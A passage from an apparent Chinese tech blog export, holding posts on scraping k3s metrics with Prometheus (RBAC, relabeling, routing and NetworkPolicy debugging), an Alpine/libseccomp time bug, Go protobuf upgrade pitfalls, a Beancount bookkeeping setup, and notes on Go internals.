https://k3s:6443/api/v1/namespaces/<namespace>/services/<service_name>[:<service_port>]/proxy/metrics 来获取。 相应地,抓取 Pod 指标时,对应的 API 地址为 https://k8s:6443/api/v1/namespaces/<namespace>/pods/<pod_name>[:<pod_port>]/proxy/metrics 与 K8S API 进行交互时,需要首先配置身份信息。 通常我们可以通过两种方式来访问: HTTPS 客户端证书,一般情况下人类用户会通过这种方式来访问; 不提供 HTTPS 客户端证书,但在 HTTP 会话中通过 Bearer Token 的方式提供 ServiceAccount 的 JWT Token,而这通常是集群内的程序访问 K8S API 的方式。 Prometheus 对这两种方式均提供了支持,不过我还是选择了配置 ServiceAccount 来与 K8S 交互。 配置 ServiceAccount 及对应的 RBAC 策略 为了完成 K8S 身份认证以及接口鉴权,我们需要配置以下资源: ServiceAccount,用于身份认证; ClusterRole,定义角色和权限; ClusterRoleBinding,将 ClusterRole 的权限赋予 ServiceAccount. Prometheus Operator 文档 中提供了一套完整的 Service Account 和 RBAC 配置示例,用于进行服务发现。由于我们还需要调用 service 和 pod 的 proxy 接口,所以我们还需要额外添加两个 API 权限: 12345- apiGroups: [""] resources: - services/proxy - pods/proxy verbs: ["get"] 配置好 ServiceAccount 后,我们可以从名为 <service_account_name>_token 的 Secret 中获取用于身份验证的 JWT Token. 配置服务发现和抓取规则 如果 Serivce 或 Pod 名是已经确定好的,那么可以直接通过配置 static_config 来进行抓取;但如果用到了 K8S 的服务发现,那么我们还需要通过服务发现的元信息来确定指标抓取的目标地址。 relabel_config 配置中,有几个特殊的 label,可以用来给我们动态配置抓取的地址和协议,它们分别是: __address__,用于配置目标地址的 host 和端口; __metrics_path__,用于配置目标地址的路径; __scheme__,用于配置抓取时使用的协议(http 或 https); __params_<name>,用于在抓取的 URL 中注入 query. 有了这几个标签,我们就可以通过一定的规则来拼凑出目标地址了。 具体抓取规则如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657job_name: 'k3s-pod-via-api'scheme: httpstls_config: insecure_skip_verify: true # 跳过服务器证书验证,当然也可以用 ca_file 配置服务器证书authorization: credentials_file: /etc/prometheus/k8s_token # 文件中存有 ServiceAccount tokenkubernetes_sd_configs: # 服务发现配置 - api_server: https://k3s:6443 # K8S API 地址 role: pod tls_config: # 这部分跟上面差不多 insecure_skip_verify: true authorization: credentials_file: /etc/prometheus/k8s_token namespaces: # 可选的 namespace 配置 names: - default selectors: # 可选的 label selector - role: pod label: "app=promtest"relabel_configs:# 只抓取包含 `prometheus.io/scrape: true` annotation 的 Pod- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape] action: keep regex: 'true'# 如果定义了 `prometheus.io/port` 注解,则用它覆盖 Pod 定义中的端口号- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_port] action: replace regex: (\\d+) replacement: $1 target_label: __meta_kubernetes_pod_container_port_number# 动态构建 K8S proxy API 地址- source_labels: [__meta_kubernetes_namespace, __meta_kubernetes_pod_name, __meta_kubernetes_pod_container_port_number] action: replace regex: (.+);(.+);(.+) replacement: api/v1/namespaces/$1/pods/$2:$3/proxy/metrics target_label: __metrics_path__# 通过 `prometheus.io/path` 注解自定义抓取路径- source_labels: [__metrics_path__, __meta_kubernetes_pod_annotation_prometheus_io_path] action: replace regex: (.+)/metrics;/?(.+) replacement: $1/$2 target_label: __metrics_path__# Host 和 Port 是确定的- source_labels: [] action: replace regex: "" replacement: a.r8:6443 target_label: __address__# 将一些元信息注入到 metrics 标签中- action: labelmap regex: __meta_kubernetes_pod_label_(.+)- source_labels: [__meta_kubernetes_namespace] action: replace target_label: k8s_namespace- source_labels: [__meta_kubernetes_pod_name] action: replace target_label: k8s_pod_name Service 的抓取和 Pod 大同小异,只是目标地址和 meta 标签名不太一样,就不赘述了。 这种方式可以使用 K8S 的服务发现功能,但通过 proxy API 来访问 Pod,也加重了 kube-apiserver 的负担。而且,说句实话,写这种拼凑 API 地址的 relabel_config 还是挺蛋疼的。 🌚 如果不使用 K8S 的 proxy API 的话,也可以简单在集群内部署一个 HTTP 反向代理,然后通过反代来抓取 Pod 或 Service 的指标。 这个方案其实跟上一种差不多,只是把 kube-apiserver 的 proxy 换成了集群内的另外一个 proxy 而已,不过减轻了 kube-apiserver 的负担。 考虑到安全因素,我们可以为 proxy 配置 egress NetworkPolicy 来控制它可以访问的 Pod,但这样也会使权限和选择策略变得极为分散。 打通 Node Network 和 Pod/Service Network 这种方法算是从根本上解决问题:打通 Node 和 Pod / Service 网络,这样我们就可以直接访问 Pod 或 Service 的 IP 来抓取指标。 打通网络的操作主要参考了两篇文章:《办公环境下 kubernetes 网络互通方案》以及《打通 Kubernetes 内网与局域网的N种方法》,最后选择从网络层打通网络。 操作很简单,只需要在 server 中配置两条路由规则即可: 12ip route add 10.42.0.0/16 via 192.168.1.101 dev enp1s0ip route add 10.43.0.0/16 via 192.168.1.101 dev enp1s0 如果想要在局域网内打通的话,可以在路由器的管理后台来配置静态路由规则;如果集群存在多个节点,则还需在 Node 的 iptables 中配置 MASQUERADE 规则用于转发。 配置完成后,Prometheus 就可以直接通过 Pod IP 或 Service 的 Cluster IP 来抓取指标了。 Pod 的抓取规则如下: 1234567891011121314151617181920212223242526272829303132333435job_name: 'k3s-pod'# 抓取时直接通过 HTTP 协议从 Pod IP 抓取,所以无需鉴权kubernetes_sd_configs:spacespacespacespacespace# 服务发现配置不变 - api_server: https://k8s:6443 role: pod tls_config: insecure_skip_verify: true authorization: credentials_file: /etc/prometheus/k8s_tokenrelabel_configs: # 筛选注解规则同上 - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape] action: keep regex: 'true' # 根据 `prometheus.io/path` 注解直接覆盖指标路径 - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_path] action: replace regex: (.+) target_label: __metrics_path__ # 根据 `prometheus.io/port` 注解覆盖端口 - source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port] action: replace regex: ([^:]+)(?::\\d+)?;(\\d+) replacement: $1:$2 target_label: __address__ # 元信息规则同上 - action: labelmap regex: __meta_kubernetes_pod_label_(.+) - source_labels: [__meta_kubernetes_namespace] action: replace target_label: k8s_namespace - source_labels: [__meta_kubernetes_pod_name] action: replace target_label: k8s_pod_name Service 的抓取规则略。 可以看出,如果我们可以直接访问 Pod,那么抓取时的 relabel 规则就可以简化很多。 一个缺乏经验导致的无谓 troubleshooting 之前通过 Argo CD 安装脚本 在集群内安装了 Argo CD. 当我配完上面的规则以后,我发现 argocd-metrics Service 的指标无法通过 Cluster IP 抓取(报错”Connection refused“),而 argocd-server-metrics 就可以。而在 Node 上,两个服务均可以正常访问。 查了 Node 上的 iptables 规则,没有在 Service (argocd-metrics) 到 Pod (argocd-application-controller-0) 的转发链路中发现任何异常,直接访问 Pod IP 也验证了这一点。 但由于缺乏 iptables debug 经验,并没有找到访问 Pod IP 被拒绝的原因。 最后通过玄学 debug,发现 argocd namespace 的五个 Pod 里,只有一个可以正常访问,最后找到了安装脚本中配置的 NetworkPolicy,发现有五个 NetworkPolicy 限制了每个 Pod 的 ingress 来源。 将 Node 所在局域网的 CIDR(192.168.1.1/24)添加至 argocd-application-controller-network-policy 的 ingress 白名单中,问题解决。 说实话,之前确实没有怎么接触过 NetworkPolicy,导致这个问题我查了将近四天才查出来… 事后分析完整的转发链如下: 12345678910111213141516171819202122232425262728# Service -> Pod with DNAT-A KUBE-SERVICES -d 10.43.4.242/32 -p tcp -m tcp --dport 8082 -m comment --comment "argocd/argocd-metrics:metrics cluster IP" -j KUBE-SVC-SZWGFJCG7JW62ZG2-A KUBE-SVC-SZWGFJCG7JW62ZG2 -m comment --comment "argocd/argocd-metrics:metrics" -j KUBE-SEP-VYRHUQXWRJ6MSGOH-A KUBE-SEP-VYRHUQXWRJ6MSGOH -p tcp -m tcp -m comment --comment "argocd/argocd-metrics:metrics" -j DNAT --to-destination 10.42.0.38:8082# Pod 转发至 pod 防火墙-A KUBE-ROUTER-OUTPUT -d 10.42.0.38/32 -m comment --comment "rule to jump traffic destined to POD name:argocd-application-controller-0 namespace: argocd to chain KUBE-POD-FW-XIOATVM5TOINSO4V" -j KUBE-POD-FW-XIOATVM5TOINSO4V-A KUBE-POD-FW-XIOATVM5TOINSO4V -m conntrack --ctstate RELATED,ESTABLISHED -m comment --comment "rule for stateful firewall for pod" -j ACCEPT# 通过 local mode (也就是从 node ip) 访问 pod 的包都会被批准-A KUBE-POD-FW-XIOATVM5TOINSO4V -d 10.42.0.38/32 -m addrtype --src-type LOCAL -m comment --comment "rule to permit the traffic traffic to pods when source is the pod\\'s local node" -j ACCEPT# 接受 argocd-application-controller-network-policy 的规则判断,通过后会被打上标记-A KUBE-POD-FW-XIOATVM5TOINSO4V -m comment --comment "run through nw policy argocd-application-controller-network-policy" -j KUBE-NWPLCY-5VLCZNPWIAXAL2HB-A KUBE-POD-FW-XIOATVM5TOINSO4V -m mark ! --mark 0x10000/0x10000 -m limit --limit 10/min --limit-burst 10 -m comment --comment "rule to log dropped traffic POD name:argocd-application-controller-0 namespace: argocd" -j NFLOG --nflog-group 100# 没有标记(没通过规则判断),就会拒绝连接-A KUBE-POD-FW-XIOATVM5TOINSO4V -m mark ! --mark 0x10000/0x10000 -m comment --comment "rule to REJECT traffic destined for POD name:argocd-application-controller-0 namespace: argocd" -j REJECT --reject-with icmp-port-unreachable# 第一条 namespaceSelector 规则,对应 8082 端口# namespaceSelector: {}# 满足条件则会打上标记,然后 return-A KUBE-NWPLCY-5VLCZNPWIAXAL2HB -p tcp -m set --match-set KUBE-SRC-DRBIHPAD4OLOF546 src -m set --match-set KUBE-DST-DM6ZQPCTKCXEROGZ dst -m tcp --dport 8082 -m comment --comment "rule to mark traffic matching a network policy" -m comment --comment "rule to ACCEPT traffic from source pods to dest pods selected by policy name argocd-application-controller-network-policy namespace argocd" -j MARK --set-xmark 0x10000/0x10000-A KUBE-NWPLCY-5VLCZNPWIAXAL2HB -p tcp -m set --match-set KUBE-SRC-DRBIHPAD4OLOF546 src -m set --match-set KUBE-DST-DM6ZQPCTKCXEROGZ dst -m tcp --dport 8082 -m comment --comment "rule to RETURN traffic matching a network policy" -m mark --mark 0x10000/0x10000 -m comment --comment "rule to ACCEPT traffic from source pods to dest pods selected by policy name argocd-application-controller-network-policy namespace argocd" -j RETURN# 自己加上去的第二条 ipBlock cidr 规则,8082 端口# ipBlock:# cidr: 192.168.1.0/24-A KUBE-NWPLCY-5VLCZNPWIAXAL2HB -p tcp -m set --match-set KUBE-SRC-MLGAJX4FU64MJPWH src -m set --match-set KUBE-DST-DM6ZQPCTKCXEROGZ dst -m tcp --dport 8082 -m comment --comment "rule to mark traffic matching a network policy" -m comment --comment "rule to ACCEPT traffic from specified ipBlocks to dest pods selected by policy name: argocd-application-controller-network-policy namespace argocd" -j MARK --set-xmark 0x10000/0x10000-A KUBE-NWPLCY-5VLCZNPWIAXAL2HB -p tcp -m set --match-set KUBE-SRC-MLGAJX4FU64MJPWH src -m set --match-set KUBE-DST-DM6ZQPCTKCXEROGZ dst -m tcp --dport 8082 -m comment --comment "rule to RETURN traffic matching a network policy" -m mark --mark 0x10000/0x10000 -m comment --comment "rule to ACCEPT traffic from specified ipBlocks to dest pods selected by policy name: argocd-application-controller-network-policy namespace argocd" -j RETURN ipset 规则如下: 12345678910111213141516171819202122232425262728293031323334353637# 第一条 namespaceSelector 规则Name: KUBE-SRC-DRBIHPAD4OLOF546Type: hash:ipRevision: 4Header: family inet hashsize 1024 maxelem 65536 timeout 0Size in memory: 1008References: 4Number of entries: 16Members:10.42.0.41 timeout 010.42.0.40 timeout 0# 后面的 pod ip 地址略# 第二条 ipblock cidr 规则Name: KUBE-SRC-MLGAJX4FU64MJPWHType: hash:netRevision: 6Header: family inet hashsize 1024 maxelem 65536 timeout 0Size in memory: 440References: 4Number of entries: 1Members:192.168.1.0/24 timeout 0# 目标地址规则(NetworkPolicy 中 podSelector 列出的所有 IP)# podSelector:# matchLabels:# app.kubernetes.io/name: argocd-application-controllerName: KUBE-DST-DM6ZQPCTKCXEROGZType: hash:ipRevision: 4Header: family inet hashsize 1024 maxelem 65536 timeout 0Size in memory: 168References: 8Number of entries: 1Members:10.42.0.38 timeout 0 …… 总结 从集群外访问集群内的接口有很多种方式,如果是一般的业务需求,我们通常还是会用 Service / Ingress 来完成。但为了简化配置,使用集群层面的服务发现,我们还需要绕些弯路来访问指标接口。 如果实在是希望在集群外收集指标的话(比如使用了指标收集的 PaaS 服务,如阿里云 SLS),那么从安全性和便捷性出发,我认为最合理的架构还是应该在 K8S 集群内部署一个 Prometheus 用于集群内的指标抓取。集群内的 Prometheus 可以通过 Service / Ingress 将暴露出来,这样集群外的 Prometheus 实例可以通过 federate 接口直接抓取到集群内 Prometheus 的指标。 由于集群内的 Prometheus 主要用于抓取和数据转发,所以无需保留过多数据,也不需要太关注持久化因素。 那么,折腾了半天,我为什么要在集群外抓取集群内的指标呢。 参考资料 除了 Kubernetes 和 Prometheus 官网外,我还参考了以下页面: Prometheus kuberenetes_sd_config 示例 Prometheus RBAC 配置 《办公环境下 kubernetes 网络互通方案》 《打通 Kubernetes 内网与局域网的N种方法》","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"Prometheus","slug":"Prometheus","permalink":"https://blog.stdioa.com/tags/Prometheus/"},{"name":"Kubernetes","slug":"Kubernetes","permalink":"https://blog.stdioa.com/tags/Kubernetes/"},{"name":"iptables","slug":"iptables","permalink":"https://blog.stdioa.com/tags/iptables/"}],"author":"David Dai"},{"title":"由 TT-RSS 解析数据库地址失败引出的一个问题","slug":"alpine-time-call","date":"2021-02-23T12:51:14.000Z","updated":"2022-09-10T01:41:19.789Z","comments":true,"path":"2021/02/alpine-time-call/","link":"","permalink":"https://blog.stdioa.com/2021/02/alpine-time-call/","excerpt":"水一篇文章,主要用来告诫自己认真看文档。🌚","text":"水一篇文章,主要用来告诫自己认真看文档。🌚 背景 下午随手在树莓派上升级了一下 TT-RSS 的镜像,然后它当场爆炸,看了容器日志告诉我 PHP 无法解析数据库的域名 database.postgres. 尝试解决 进到容器里尝试手动解析一下,但是报错 nslookup: clock_gettime(MONOTONIC) failed. 用自己的另一台运行 Debian testing 的 x86 机器运行了一下,无法复现这个问题。 Google 了一下找到 Alpine 的一个 issue,简单看了一下发现是 Alpine 3.13 升级了 musl,使用了新的系统调用 clock_gettime64. 在容器里跑了下 date,结果如下: 12$ docker run --rm -it alpine dateSun Jan 0 00:100:4174038 1900 看起来,Alpine 3.13 需要 Docker 19.03.9. 然而我的 docker 版本已经是 20.10.3 了,但依然无法运行。 Google 了一大圈发现树莓派上安装的 libsecomp2 太老(2.3.3-4),不支持 time64,尝试运行 scmp_sys_resolver -a arm clock_gettime64 返回 -1 也验证了这个观点。 PS:需要安装 seccomp 包。 所以需要安装更新版本的 libseccomp2,但 Raspbian 不提供新版的包。所以,我从 Debian 软件包目录 找了新版(2.5.1-1)来安装,问题解决。 不仔细看英文文档的后果 Alpine 的 release notes 已经写明了问题: Therefore, Alpine Linux 3.13.0 requires the host Docker to be version 19.03.9 (which contains backported moby commit 89fabf0) or greater and the host libseccomp to be version 2.4.2 (which contains backported libseccomp commit bf747eb) or greater. Therefore, the following platforms are not suitable as Docker hosts for 32-bit Alpine Linux 3.13.0, due to containing out-of-date libseccomp: Amazon Linux 1 or 2, CentOS 7 or 8, Debian stable without debian-backports, Raspbian stable, Ubuntu 14.04 or earlier, and Windows. This applies regardless of whether the Linux distribution Docker packages or separate Docker package repositories are used. 树莓派的 Docker 能够满足条件,但因为运行的是 Raspbian stable,所以 libseccomp 的版本无法满足;Debian testing 的机器是 64 位的,所以可以正常运行。 结论 Alpine 升级了 musl → 使用了新的系统调用 → 如果系统是 32 位版本,且 Docker 和 libsecccomp2 版本较低,则无法在容器中正常获取时间,进而影响到各种功能。 升级 Docker 到 19.03.9 及以上; 升级 libseccomp2 到 2.4.2 及以上,如果官方软件源没有提供的话可以去 testing 库里找找; 解决这个问题花了大半个小时,但如果仔细看文档的话估计 5 分钟就能搞定。所以,要认真看英文文档。 参考文档 Release Notes for Alpine 3.13.0 alpine 3.13 在 Armhf docker 的网络问题 Docker 使用 seccomp 无法获取系统时间的 bug 一则","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Docker","slug":"Docker","permalink":"https://blog.stdioa.com/tags/Docker/"},{"name":"Alpine","slug":"Alpine","permalink":"https://blog.stdioa.com/tags/Alpine/"},{"name":"树莓派","slug":"树莓派","permalink":"https://blog.stdioa.com/tags/%E6%A0%91%E8%8E%93%E6%B4%BE/"}],"author":"David Dai"},{"title":"protobuf 升级后带来的一些坑","slug":"protobuf-upgrade","date":"2020-12-27T06:41:53.000Z","updated":"2022-09-10T01:41:19.796Z","comments":true,"path":"2020/12/protobuf-upgrade/","link":"","permalink":"https://blog.stdioa.com/2020/12/protobuf-upgrade/","excerpt":"前段时间把公司某项目依赖的 github.com/golang/protobuf 的版本从 v1.3.3 升级到了 v1.4.2,本文记录了升级过程中遇到的一些问题。","text":"前段时间把公司某项目依赖的 github.com/golang/protobuf 的版本从 v1.3.3 升级到了 v1.4.2,本文记录了升级过程中遇到的一些问题。 Google 对 Go 的 protobuf 库的底层进行了大的改进,新版本的包路径转移到了 google.golang.org/protobuf. 同时,这些改进也被带进了 github.com/golang/protobuf:从 v1.4 版本起,github.com/golang/protobuf 会在 google.golang.org/protobuf 的基础上实现,但会保证接口兼容,这也表明当前依赖 github.com/golang/protobuf 的项目可以直接升级版本,而无需对上层代码进行改动。 然而,新版的 protobuf-gen-go 使用了 google.golang.org/protobuf/protoreflect,编译出的 message 结构体与之前完全不同,这给我们的升级工作带来了一些麻烦。 1. 代码中对 XXX_Unmarshal 的直接调用 老版的 protoc-gen-go 会暴露一个 XXX_Unmarshal 接口,用于在 proto.Unmarshal 时进行调用,所以有一些同事选择会直接调用 message.XXX_Unmarshal 方法。新版的 proto 通过 ProtoReflect 接口暴露 message 内部信息,编译 pb.go 时也没有了 XXX_Unmarshal 方法,所以会导致编译时报错 message.XXX_Unmarshal undefined. 解决方案很简单:改用 proto.Unmarshal 即可。 2. 结构体内部结构变化导致测试出错 针对同一个 message,老版本编译后的结构体结构如下: 123456type HealthCheckResponse struct { Status HealthCheckResponse_ServingStatus `protobuf:"varint,1,opt,name=status,proto3,enum=liulishuo.common.health.v1.HealthCheckResponse_ServingStatus" json:"status,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"`} 而新版本编译后的结构如下: 1234567type HealthCheckResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Status HealthCheckResponse_ServingStatus `protobuf:"varint,1,opt,name=status,proto3,enum=liulishuo.common.health.v1.HealthCheckResponse_ServingStatus" json:"status,omitempty"`} 可以看到,新版本中添加了三个未导出字段,而这三个字段为我们的测试代码带来了一些麻烦。 cmp.Equal 时 panic 我们的测试中使用了 github.com/google/go-cmp/cmp.Equal 来对 proto 结构体进行比较,而结构体中的未导出字段会让 cmp.Equal 和 cmp.Diff panic: 123panic: cannot handle unexported field at {*pkg.SomeRequest}.state: ".../services_go_proto".SomeRequestconsider using a custom Comparer; if you control the implementation of type, you can also consider using an Exporter, AllowUnexported, or cmpopts.IgnoreUnexported [recovered] go-cmp 推荐的方式是使用 IgnoreUnexported,但这种方式需要传递所有需要忽略的类型,对含有多层嵌套的 message 非常不友好。 经过一番搜索,发现 protocmp.Transform 可以将所有的 protobuf message 转换成自定义的 map[string]interface{} 进行比较,所以我们可以用 Transform() 来解决问题: 1234567import "google.golang.org/protobuf/testing/protocmp"// ...opt := protocomp.Trnasform()if !cmp.Equal(exp, got, opt) { t.Error(exp, got, opt)} assert 卡死并占满内存 相比上面的问题,下面的问题更加奇怪:使用 github.com/stretchr/testify/assert.Equal 比较某些特殊的 proto message 时会卡死,同时内存占用会暴涨。 尝试用 pprof 取样,取出来的 CPU 和堆采样图长这样: 可以看到 spew.Dump 中存在无限递归,这导致了程序卡死以及持续的内存分配。 随后搜到了testify 的 issue,相关评论中提出了几种绕过的方案,然而这个问题至今没有解决。 个人推荐的解决方式有两种: 使用 marshalTextString() 将 message 转换成 proto text,然后再进行比较; 使用 cmp.Equal,结合 protocmp.Transform. 3. lint 报错 copylocks 处理完业务代码处理测试,处理完测试代码还有 lint 要处理。 我们的项目在升级完后,go vet 会报 copylocks 错误:assignment copies lock value to got: .../message_go_protos.Message contains google.golang.org/protobuf/internal/impl.MessageState contains sync.Mutex 解决方式也比较简单:将所有 proto message 改为指针传递即可。","categories":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/categories/Golang/"}],"tags":[{"name":"Golang","slug":"Golang","permalink":"https://blog.stdioa.com/tags/Golang/"},{"name":"Protobuf","slug":"Protobuf","permalink":"https://blog.stdioa.com/tags/Protobuf/"}],"author":"David Dai"},{"title":"开始使用 Beancount","slug":"using-beancount","date":"2020-09-05T07:15:00.000Z","updated":"2024-08-21T07:41:09.622Z","comments":true,"path":"2020/09/using-beancount/","link":"","permalink":"https://blog.stdioa.com/2020/09/using-beancount/","excerpt":"使用 Beancount 记账已经有将近两个月了,简单写一写我都做了什么。","text":"使用 Beancount 记账已经有将近两个月了,简单写一写我都做了什么。 注:本文只是一个流水账,并不是一个 Beancount 使用教程,如果想详细了解 Beancount 的话,可以参考下面提到的那些文章。 一些背景 Beancount 是什么 如上文所说,Beancount 是一个记账工具,更准确些来讲,是一个复式记账工具。但直到我写这篇文章的时候才发现官方将其定义为“一种复式记账计算机语言”。 简单来讲,它可以让你以纯文本方式记账,并通过一种类 SQL 的语言来对交易进行查询。记账文件还可以配合 Git 进行版本控制。 此外,Beancount 官方提供了一个名叫 fava 的图形化管理工具,它基于 Web,能够提供比原生页面更加丰富的内容,一般记账所需要的信息一目了然。想体验的同学可以在官方提供的 Demo 中简单感受下。 为什么要用它 我从 17 年起就在用口袋记账 App 来随手记账。但毕竟人家也是商业公司,所以 App 里逐渐出现了不少的理财产品 🌚,而且 App 打开越来越卡了。于是就开始考虑其它的记账方案。 想了想,我的记账需求有: 快速对刚刚产生的交易进行记录,一定要比口袋记账快! 查看各个粒度的收支统计 查账方便 数据安全(要能够备份) 之前有了解过 GNUCash,但是不太感冒。在这期间也多次想过自己去写一个记账工具,但一直懒得动手造轮子。之前在网上看到一个玩笑说“每一个程序员都想过去写一个记账工具”,我也不例外。 直到七月份,看到赵神在他的 Channel 里提到了 Beancount,在他的安利下,我发现它非常轻便,并且能够满足我的需求。于是在某个周日的傍晚的冲动之下,决定把口袋记账的数据转移到 Beancount 上,从此用它来记账。 看了些东西 在动手之前也顺着赵神的安利去看了一下他人写的博客,并了解了一下会计恒等式,以及复式记账的基本知识。以下是我看过的博文。 BYVoid 写的 Beancount 系列文章: Beancount复式记账(一):为什么 Beancount复式记账(二):借贷记账法 Beancount复式记账(三):结余与资产 Beancount复式记账(四):项目管理 Beancount —— 命令行复式簿记 Beancount 最佳实践 Beancount使用经验 —— 通过Beancount导入支付宝&微信csv账单 做了点工作 看了些东西以后,对 Beancount 的使用,以及记账项目管理有了基本的概念,就开始动手了。 我决定把 Beancount 安装在我的树莓派上,用 fava 做统计分析,用 Git 做版本控制及数据备份。 Git 远端同样在树莓派上,是一个 Gitea 实例。 写到这还想起来去年从 Gogs 迁移到了 Gitea,当时记了下过程但是内容太少了,就没有发出来。😂 安装及部署 python3 -m pip install beancount fava,没什么特别的。 之前很多服务都是用 Docker 部署的,但是我的 Python 服务一直没有用 Docker 部署,而是直接装在了系统里,用 systemd 托管,可能是我的某种执念吧。 Beancount 本身不需要守护进程,因为记账文件是直接用文本存储在系统中的,beancount 只是用来做查询。不过 fava 服务倒是可以以守护进程的方式部署起来。 12345678910111213141516[Unit]Description=FavaDocumentation=https://beancount.github.io/fava/After=network-online.targetWants=network-online.target systemd-networkd-wait-online.service[Service]Restart=on-abnormalUser=piGroup=piEnvironment=HOME=/home/piExecStart=/home/pi/.local/bin/fava -p 6666 main.beanWorkingDirectory=/home/pi/projects/accounting[Install]WantedBy=multi-user.target 数据导入 万幸口袋记账提供了导出功能,可以将用户的全部交易记录以 xls 的格式导出。 口袋记账的收入支出、资产账户都有分类,于是我也沿用了之前的类别,并为其添加了前缀作为 Beancount 的账户名,比如“餐饮”变成了 Expenses:Daily:餐饮,工资变成了 Income:xxx:工资,而“微信支付”的账户就变成了 Assets:Digital:微信支付:Deposit。之前的博文有提到 Beancount 的账户名只能由英文组成,但我试了一下,只有顶级账户类型和一级描述不能用中文,再往下的层级并没有做限制。 随后我写了一个极丑无比的 Python 脚本,将每条记录渲染成 Beancount 的交易格式,然后写入到 main.bean 文件中。 在导入数据并与口袋记账上的统计数据作比对,确认数据无误后,我对项目结构做了一些调整: 将账户声明语句按照账户类型组织,单独存放在 accounts/{类型}.bean 中; 将前几年的交易进行归档,存放在 txs/{年份}.bean 中; 在 main.bean 中用 include 语句导入 accounts/*.bean 和 txs/*.bean。 最后平了下账,平出一比巨款来,可见之前记的账是多么多么不靠谱🌚 这样,就有了以下的项目结构: 12345678910111213141516.├── accounts // 账目定义文件│ ├── assets.bean│ ├── equity.bean│ ├── expences.bean│ └── income.bean├── document│ └── initialize // 初始化导入的脚本及口袋记账数据│ ├── initial.py│ └── ...├── txs // 历史交易数据│ ├── 2017.bean│ ├── 2018.bean│ └── 2019.bean├── main.bean // 主文件,包含当年(2020)的交易数据└── Makefile Telegram bot 用 vim 记了几笔账之后感觉还是不怎么方便,毕竟在外面玩的时候,需要频繁用手机 ssh 回家记账也不是那么回事。 于是,我就写了一个简单的 Telegram bot,通过与 bot 交互来编辑树莓派上的 main.bean 文件。平时消费时,只需要按照之前在口袋记账里记账的思路,将几个关键词填好,bot 就可以渲染出这笔账对应的交易文本,并将其追加到 main.bean 文件中。这样就能涵盖绝大多数日常在外的使用场景了。不过,去超市或 AA 这种复杂一些的账,还是没办法用 bot 来记,不过也无所谓,我会简单记下来,然后回家用 vim 或 fava 把账补好。 此外,还实现了两个 bot 命令,方便在外查看自己花了多少钱(虽然平时基本用不上 😂)。 最后的实现效果: 目前(2024 年 8 月),我的 Beancount bot 已经开源,并添加了一些实用的补全功能,欢迎大家使用。 除此之外 每天睡觉前会将当日的更改提交,并做好备份;顺便做了 pre-commit 的 Git 钩子,用于规范文件格式; 每个月结束的时候都会为所有资产账户添加断言,如果断言的数值与 beancount 里计算的数值不一致的话,beancount 就会抛出错误。不过报错也是在所难免,因为之前记账记得够细,所以对账也相当方便,偶尔还可以看到一些因为 bot 太笨而闹的笑话: 12342020-08-30 * "自行车" "" Assets:Digital:支付宝:Deposit -3.50 CNY- Assets:Bank:交通银行:Card:Deposit+ Expenses:Daily:交通出行 总结 这套基于 Beancount 的记账系统已经运行了快两个月了。该系统大概由以下流程构成: 在树莓派上维护 Beancount Git repo 用于记录交易; 在树莓派上部署 Telegram bot 连接 repo 用于记录交易或查询账户变更; 通过 Telegram bot 记录简单交易,通过 Fava 或 vim 记录复杂交易; 每日对 Git repo 中的变更进行提交,推送到远端,并做好数据备份; 每月月底通过 balance 语句为所有 Assets 账户添加断言,通过对账查找出错的交易并修复。 从口袋记账迁移到 Telegram 记账后,整个记账流程都顺滑和快捷了很多。之前等待口袋记账 App 打开、卡死、看广告所浪费的时间,放到现在可以让我打开 Telegram 记完一笔账。 所以,还是要吹一波开源社区才对。✅ 如果有什么问题,欢迎与我交流。","categories":[{"name":"乱七八糟","slug":"乱七八糟","permalink":"https://blog.stdioa.com/categories/%E4%B9%B1%E4%B8%83%E5%85%AB%E7%B3%9F/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"记账","slug":"记账","permalink":"https://blog.stdioa.com/tags/%E8%AE%B0%E8%B4%A6/"},{"name":"Beancount","slug":"Beancount","permalink":"https://blog.stdioa.com/tags/Beancount/"},{"name":"fava","slug":"fava","permalink":"https://blog.stdioa.com/tags/fava/"}],"author":"David Dai"},{"title":"《深入解析Go》笔记","slug":"go-internal-note","date":"2019-06-24T08:22:00.000Z","updated":"2022-09-10T01:41:19.794Z","comments":true,"path":"2019/06/go-internal-note/","link":"","permalink":"https://blog.stdioa.com/2019/06/go-internal-note/","excerpt":"在 GitHub 上找到一本解读 Go 实现细节的好书,名叫《深入解析 Go》。 大致看了一遍,简单做了些笔记。","text":"在 GitHub 上找到一本解读 Go 实现细节的好书,名叫《深入解析 Go》。 大致看了一遍,简单做了些笔记。 这本书的代码来自 Go 1.3,所以还有一部分由 C 语言写成。 这份笔记里的代码来自 Go 1.12.5,数据结构全部由 Go 语言实现。 数据结构 string 和 slice 都是引用类型,可能开在栈上,也可能开在堆上; channel 和 map 是引用类型,但一定开在堆上,栈中只有指针。 string 底层结构 src/reflect/value.go 1234type StringHeader struct { Data uintptr Len int} string 是不可变数据结构,任何对 string 的操作都会产生一个新的 string. 因此,需要拼接的时候尽量使用 bytes.Buffer,或 strings.Join 这种用了 Buffer 的函数。 slice 底层结构 src/reflect/value.go 12345type SliceHeader struct { Data uintptr Len int Cap int} 注意,两个数据结构的底层数据全部共享。 关于 slice 的扩容,可以参见《深入解析 Go 中 Slice 底层实现》。 有一个小用法:对切片做 slice 操作时,末位的下标可以超过原 slice 的 len,但不能超过 cap. 12a := make([]int, 2, 10)b := a[:5] map 底层结构 src/runtime/map.go 12345678910111213141516171819202122232425262728type hmap struct { // Note: the format of the hmap is also encoded in cmd/compile/internal/gc/reflect.go. // Make sure this stays in sync with the 